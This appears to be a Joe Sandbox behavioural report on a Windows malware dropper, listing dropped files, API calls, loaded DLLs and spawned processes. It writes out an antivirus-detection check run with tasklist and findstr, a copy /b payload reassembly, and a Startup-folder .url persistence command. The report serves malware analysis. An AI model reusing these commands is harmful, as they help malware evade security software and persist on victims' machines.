Source: C:\Users\user\Desktop\ldqj18tn.exe	File created: C:\Users\user\AppData\Local\Temp\Required entropy: 7.9980527323	Jump to dropped file
Source: C:\Users\user\Desktop\ldqj18tn.exe	File created: C:\Users\user\AppData\Local\Temp\Situations entropy: 7.99712082708	Jump to dropped file
Source: C:\Users\user\Desktop\ldqj18tn.exe	File created: C:\Users\user\AppData\Local\Temp\Mood entropy: 7.99795861068	Jump to dropped file
Source: C:\Users\user\Desktop\ldqj18tn.exe	File created: C:\Users\user\AppData\Local\Temp\Princess entropy: 7.99700719992	Jump to dropped file
Source: C:\Users\user\Desktop\ldqj18tn.exe	File created: C:\Users\user\AppData\Local\Temp\Jessica entropy: 7.99791437325	Jump to dropped file
Source: C:\Users\user\Desktop\ldqj18tn.exe	File created: C:\Users\user\AppData\Local\Temp\Traveller entropy: 7.99707087898	Jump to dropped file
Source: C:\Users\user\Desktop\ldqj18tn.exe	File created: C:\Users\user\AppData\Local\Temp\Fastest entropy: 7.99719426565	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\704579\u entropy: 7.99983843208	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	File created: C:\Users\user\AppData\Local\TechMesh Dynamics\M entropy: 7.99983843208	Jump to dropped file

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F542D5: CreateFileW,DeviceIoControl,CloseHandle,

11_2_00F542D5

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F48F2E _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

11_2_00F48F2E

Source: C:\Users\user\Desktop\ldqj18tn.exe	Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,	0_2_00403883
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F55778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	11_2_00F55778
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DD5778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	17_2_00DD5778

Source: C:\Users\user\Desktop\ldqj18tn.exe	File created: C:\Windows\TripsAstronomy	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	File created: C:\Windows\ParadeMorrison	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	File created: C:\Windows\BibliographicHc	Jump to behavior

Source: C:\Users\user\Desktop\ldqj18tn.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\ldqj18tn.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\ldqj18tn.exe	Code function: 0_2_004074BB	0_2_004074BB
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00EFB020	11_2_00EFB020
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00EF94E0	11_2_00EF94E0
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00EF9C80	11_2_00EF9C80
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F123F5	11_2_00F123F5
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F78400	11_2_00F78400
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F26502	11_2_00F26502
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00EFE6F0	11_2_00EFE6F0
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F2265E	11_2_00F2265E
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F1282A	11_2_00F1282A
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F289BF	11_2_00F289BF
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F26A74	11_2_00F26A74
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F70A3A	11_2_00F70A3A
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F00BE0	11_2_00F00BE0
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F4EDB2	11_2_00F4EDB2
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F1CD51	11_2_00F1CD51
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F70EB7	11_2_00F70EB7
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F58E44	11_2_00F58E44
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F26FE6	11_2_00F26FE6
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F133B7	11_2_00F133B7
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F0D45D	11_2_00F0D45D
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F1F409	11_2_00F1F409
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F116B4	11_2_00F116B4
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00EFF6A0	11_2_00EFF6A0
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00EF1663	11_2_00EF1663
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F0F628	11_2_00F0F628
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F178C3	11_2_00F178C3
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F1DBA5	11_2_00F1DBA5
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F11BA8	11_2_00F11BA8
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F29CE5	11_2_00F29CE5
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F0DD28	11_2_00F0DD28
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F1BFD6	11_2_00F1BFD6
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F11FC0	11_2_00F11FC0
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D7B020	17_2_00D7B020
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D794E0	17_2_00D794E0
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D79C80	17_2_00D79C80
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D923F5	17_2_00D923F5
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DF8400	17_2_00DF8400
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DA6502	17_2_00DA6502
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D7E6F0	17_2_00D7E6F0
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DA265E	17_2_00DA265E
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D9282A	17_2_00D9282A
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DA89BF	17_2_00DA89BF
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DA6A74	17_2_00DA6A74
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DF0A3A	17_2_00DF0A3A
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D80BE0	17_2_00D80BE0
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DCEDB2	17_2_00DCEDB2
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D9CD51	17_2_00D9CD51
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DF0EB7	17_2_00DF0EB7
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DD8E44	17_2_00DD8E44
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DA6FE6	17_2_00DA6FE6
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D933B7	17_2_00D933B7
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D8D45D	17_2_00D8D45D
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D9F409	17_2_00D9F409
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D916B4	17_2_00D916B4
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D7F6A0	17_2_00D7F6A0
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D71663	17_2_00D71663
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D8F628	17_2_00D8F628
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D978C3	17_2_00D978C3
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D91BA8	17_2_00D91BA8
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D9DBA5	17_2_00D9DBA5
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DA9CE5	17_2_00DA9CE5
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D8DD28	17_2_00D8DD28
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D9BFD6	17_2_00D9BFD6
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00D91FC0	17_2_00D91FC0

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: String function: 00F01A36 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: String function: 00F18B30 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: String function: 00F10D17 appears 70 times
Source: C:\Users\user\Desktop\ldqj18tn.exe	Code function: String function: 004062A3 appears 58 times
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: String function: 00D98B30 appears 42 times
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: String function: 00D90D17 appears 70 times
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: String function: 00D81A36 appears 34 times

Source: ldqj18tn.exe, 00000000.00000003.2211110339.00000000005A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs ldqj18tn.exe
Source: ldqj18tn.exe, 00000000.00000003.2138986925.00000000029E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAutoIt3.exeB vs ldqj18tn.exe
Source: ldqj18tn.exe, 00000000.00000002.2211647425.00000000005A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs ldqj18tn.exe

Source: ldqj18tn.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal84.rans.expl.evad.winEXE@28/26@2/0

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F5A6AD GetLastError,FormatMessageW,

11_2_00F5A6AD

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F48DE9 AdjustTokenPrivileges,CloseHandle,	11_2_00F48DE9
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F49399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	11_2_00F49399
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DC8DE9 AdjustTokenPrivileges,CloseHandle,	17_2_00DC8DE9
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DC9399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	17_2_00DC9399

Source: C:\Users\user\Desktop\ldqj18tn.exe

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F54148 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

11_2_00F54148

Source: C:\Users\user\Desktop\ldqj18tn.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F5443D __swprintf,__swprintf,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

11_2_00F5443D

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

File created: C:\Users\user\AppData\Local\TechMesh Dynamics

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1336:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5140:120:WilError_03

Source: C:\Users\user\Desktop\ldqj18tn.exe

File created: C:\Users\user\AppData\Local\Temp\nskBDCA.tmp

Jump to behavior

Source: C:\Users\user\Desktop\ldqj18tn.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Descending Descending.bat & Descending.bat

Source: ldqj18tn.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\ldqj18tn.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ldqj18tn.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ldqj18tn.exe

ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\ldqj18tn.exe

File read: C:\Users\user\Desktop\ldqj18tn.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ldqj18tn.exe "C:\Users\user\Desktop\ldqj18tn.exe"
Source: C:\Users\user\Desktop\ldqj18tn.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Descending Descending.bat & Descending.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 704579
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "MARTNMSPIDERRINGTONE" Mh
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Consequence + ..\Gently + ..\Situations + ..\International + ..\Jet + ..\Commodities + ..\Mood + ..\Fastest + ..\Estimate + ..\Jessica + ..\Prof + ..\Becoming + ..\Princess + ..\Required + ..\Traveller + ..\Against u
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif Organizational.pif u
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoMesh.url" & echo URL="C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoMesh.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr "C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr" "C:\Users\user\AppData\Local\TechMesh Dynamics\M"
Source: C:\Users\user\Desktop\ldqj18tn.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Descending Descending.bat & Descending.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 704579	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "MARTNMSPIDERRINGTONE" Mh	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Consequence + ..\Gently + ..\Situations + ..\International + ..\Jet + ..\Commodities + ..\Mood + ..\Fastest + ..\Estimate + ..\Jessica + ..\Prof + ..\Becoming + ..\Princess + ..\Required + ..\Traveller + ..\Against u	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif Organizational.pif u	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoMesh.url" & echo URL="C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoMesh.url" & exit	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr "C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr" "C:\Users\user\AppData\Local\TechMesh Dynamics\M"	Jump to behavior

Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\ldqj18tn.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Section loaded: napinsp.dll	Jump to behavior
